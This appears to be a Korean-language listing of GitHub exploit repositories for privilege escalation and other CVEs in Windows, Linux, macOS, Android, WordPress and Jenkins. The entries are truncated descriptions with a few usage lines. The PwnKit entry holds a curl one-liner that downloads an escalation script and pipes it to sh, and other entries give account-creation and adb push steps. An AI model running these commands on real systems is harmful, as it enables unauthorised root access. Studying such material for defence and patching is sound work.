CVE-2020-13885

익스플로잇 제목: Windows용 Citrix Workspace 앱 1912 이전 - 권한 상승 1 날짜: 2020-06-07 작성자: Andrew Hess 소프트웨어 링크: https://www.citrix.com/downloads/workspace-app/legacy-workspace-app-for-windows/workspace-app-for-windows-1911.html/ 게시판: https://support.citrix.com/article/CTX275460 CVE: CVE-2020-13885 기록 2020.02.1...

Windows-Local-Privilege-Escalation-Cookbook

Windows 로컬 권한 상승 쿡북 목차 Windows 로컬 권한 상승 쿡북 목차 면책 조항 설명 개요 정의 유용한 도구 취약점 참고 자료 면책 조항 이 저장소인 "Windows 로컬 권한 상승 쿡북"은 교육 목적으로만 제공됩니다. 저자는 여기에 제공된 정보의 불법적인 사용에 대해 어떠한 책임도 지지 않습니다. 사용자는 이 지식을 윤리적이고 합법적으로 사용할 것을 권장합니다. 이 저장소에 접근함으로써 귀하는 그 내용을 책임감 있고 모든 관련 법률에 따라 사용하는 데 동의하는 것입니다. 설명 개요 이 쿡북은 Windows 환경에...

nccfsas

Introduction This repository holds information released publicly by NCC Group's Full Spectrum Attack Simulation FSAS team...

attack-stix-data

ATT&CK® STIX Data MITRE ATT&CK is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. The ATT&CK knowledge base is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and ...

CVE-2024-23897

CVE-2024-23897 CVE-2024-23897 익스플로잇을 위한 Nuclei 템플릿 이 템플릿은 사용자에게 중요한 경고 역할을 합니다. 시스템에서 CVE-2024-23897 로컬 파일 취약점이 탐지되면 즉시 조치를 취하고 지체 없이 시스템에 패치를 적용해야 합니다. 이 취약점은 시스템의 보안과 무결성에 심각한 위험을 초래하며, 민감한 파일과 데이터에 대한 무단 접근을 허용할 수 있습니다. 템플릿의 주요 목적은 Jenkins 버전이 익스플로잇 가능한지 확인하는 것입니다. 사용법: nuclei -t...

secpub

Cisco Nexus OS NX-OS - 명령어 "인젝션" / 입력 값 정화 문제. 발견자: Peter Adkins [email protected] 접근 권한: 로컬; 인증된 접근이 필요합니다. 추적 및 식별자: CVE - CVE-2011-2569 영향을 받는 OS: Cisco Nexus OS NX-OS 벤더 협력: 통보됨 - 일부 플랫폼에 패치 제공 / 구현됨. 영향을 받는 시스템 / 플랫폼: Nexus 7000 Nexus 5000 Nexus 4000 Nexus 3000 Nexus 2000 Nexus 1000V MD...

cve-2020-0796

CVE-2020-0796 LPE CVE-2020-0796 SMBGhost LPE 사용법 필요하다면 Rust를 설치하세요 https://www.rust-lang.org/learn/get-started 코드 컴파일: cargo build --release target/release에서 .exe 파일을 대상에 복사하고 실행하세요. 참고 자료...

CVE-2023-42931

CVE-2023-42931 이 익스플로잇은 macOS 14.0-14.1.2, 13.0-13.6.2, 12.0-12.7.1에서 동작하는 LPE로컬 권한 상승를 대상으로 합니다. 사용법 chmod +x PoC.sh ./PoC.sh 크레딧 이 익스플로잇은 다음 원본 문서의 연구를 기반으로 합니다: Apple macOS 파일 시스템을 통해 루트까지 로컬 권한을 상승시키는 방법. 라이선스 이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요...

CVE-2023-6553-PoC

CVE-2023-6553 PoC LFI to RCE Backup Migration 워드프레스 플러그인에서의 인증되지 않은 원격 코드 실행. 실행 $ python exploit.py 다음 PHP 스크립트가 실행됩니다. out.txt; ? 참고 자료 Backup Migration 플러그인에서 발견된 심각한 인증되지 않은 원격 코드 실행 취약점...

CVE-2023-28252-Compiled-exe

CVE-2023-28252-Compiled-exe Fortra의 훌륭한 CVE-2023-2852 권한 상승 익스플로잇을 수정한 버전입니다. Windows 11 21H2 clfs.sys 버전 10.0.22000.1574에서 동작하며, Windows 10 21H2, Windows 10 22H2, Windows 11 22H2 및 Windows Server 2022에서도 동작합니다. 이 버전은 원래 기능을 유지하면서, 실행할 바이너리를 인자로 제공할 수 있는 옵션을 추가했습니다. Visual Studio가 없을 때 유용합니다. 설명...

Exploiting-PwnKit-CVE-2021-4034-

PwnKit CVE-2021-4034를 위한 자체 포함 익스플로잇 - Pkexec 로컬 권한 상승 사용법 Ubuntu, Debian, Fedora, CentOS 기반의 취약한 Linux 배포판에서 즉시 작동해야 합니다. sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 수동 실행 curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit chmod +x...

CVE-2024-0044

CVE 2024 0044 CVE-2024-0044는 PackageInstallerService.java 파일의 createSessionInternal 함수에서 확인된, Android 12 및 13에 영향을 미치는 높은 심각도의 취약점입니다. 이 취약점으로 인해 공격자는 "run-as any app" 공격을 수행하여 사용자 상호작용 없이 로컬 권한 상승을 일으킬 수 있습니다. 문제는 createSessionInternal 함수 내에서 부적절한 입력 검증으로 인해 발생합니다. 공격자는 세션 생성 프로세스를 조작하여 이 취약점을 악...

CVE-2025-2294

Kubio Page Builder LFI Exploit CVE-2025-2294 Kubio Page Builder WordPress 플러그인버전 ≤ 2.5.1용 로컬 파일 포함LFI 익스플로잇입니다. 📌 설명 이 도구는 Kubio Page Builder 플러그인CVE-2025-2294의 인증되지 않은 LFI 취약점을 악용하여, 취약한 WordPress 설치 환경에서 공격자가 민감한 파일을 읽을 수 있게 합니다. 🚀 기능 단일 대상 모드 -u 파일 기반 대량 스캔 -l 버전 탐지 결과를 파일로 출력 -o 취약 버전 자동 확인 사...

CVE-2021-1732

CVE-2021-1732 CVE-2021-1732 Microsoft Windows 10 로컬 권한 상승 취약점 연구 및 Poc/Exploit 개발 영향을 받는 시스템 및 애플리케이션 버전 Windows Server, version 20H2 Server Core Installation Windows 10 Version 20H2 for ARM64‑based Systems Windows 10 Version 20H2 for 32‑bit Systems Windows 10 Version 20H2 for x64‑based Systems...

CVE-2026-42978-PoC-Research

CVE-2026-42978 PoC & Research — Windows Push Notifications Use-After-Free Windows Push Notifications 서비스WpnService의 경쟁 조건Race Condition 취약점으로, NT AUTHORITY\SYSTEM 권한으로 실행됩니다. 로컬 접근 권한이 있는 공격자는 플랫폼 종료 중에 use-after-free를 유발하여 권한을 상승시킬 수 있습니다. CVE: CVE-2026-42978 BDU: BDU:2026-08249 유형: CWE-362경쟁 조건...

CVE-2018-19788

CVE-2018-19788 CVE-2018-19788에 대한 매우 간단한 익스플로잇 사용하려면 Policy Kit에서 UID가 INTMAX보다 큰 사용자를 생성하거나, 이미 해당 UID를 가진 낮은 권한의 사용자가 있어야 합니다. 사용자 생성 시 UID는 다음과 같이 지정할 수 있으며, 스크립트 실행 전에 사용됩니다: $ useradd -u 4000000001 PrivEsc $ passwd PrivEsc $ su PrivEsc $ chmod +x /tmp/CVE-2018-19788PrivEsc.sh $...

CVE-2022-42176

PCSecure V5.0.8.xw - 구성 파일에 하드코딩된 자격 증명 사용으로 관리자 패널 접근 가능 요약 공급업체: PCTechSoft SAS 제품: PCSecure 영향을 받는 버전: 5.0.8.xw 코드네임: PapiQuieroPollo00 취약점 유형: 하드코딩된 자격 증명 사용 CWE-798 CVSSv3.1 벡터: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSSv3.1 기본 점수: 7.8 높음 익스플로잇 가능 여부: 없음 CVE ID: CVE-2022-42176 설명...

CVE-2024-26229-lpe

CVE-2024-26229 CWE-781: csc.sys 드라이버에서 METHODNEITHER I/O Control Code를 사용하는 IOCTL의 부적절한 주소 검증...

CVE-2014-7911

CVE-2014-7911 CVE-2014-7911의 PoC로, Nexus5 Android 4.4.4r1을 대상으로 하며 retme7 기반으로 다른 ROP 체인을 사용합니다. 정보 http://ele7enxxh.com/CVE-2014-7911-Detailed-Analysis-Of-Android-Local-Privilege-Escalation-To-System-Vulnerability.html 사용법 adb를 통해 휴대폰을 연결하세요. adb push jni/expolit /data/local/tmp adb logcat | gre...

CVE-2023-39063

CVE-2023-39063 이 저장소는 RaidenFTPD v2.4.4005 소프트웨어에서 발견된 CVE-2023-39063 취약점에 대한 익스플로잇을 포함합니다. 이 익스플로잇은 Python 3에서 작동하도록 제작되었습니다. 익스플로잇 상세 정보 RaidenFTPD v.2.4.4005의 SEH 기반 버퍼 오버플로우 취약점을 익스플로잇하기 위한 Python 3 코드입니다. 이 취약점으로 인해 로컬 공격자는 단계별 설정 마법사의 Server name 필드를 통해 임의의 코드를 실행할 수 있습니다. 익스플로잇 사용 방법 1...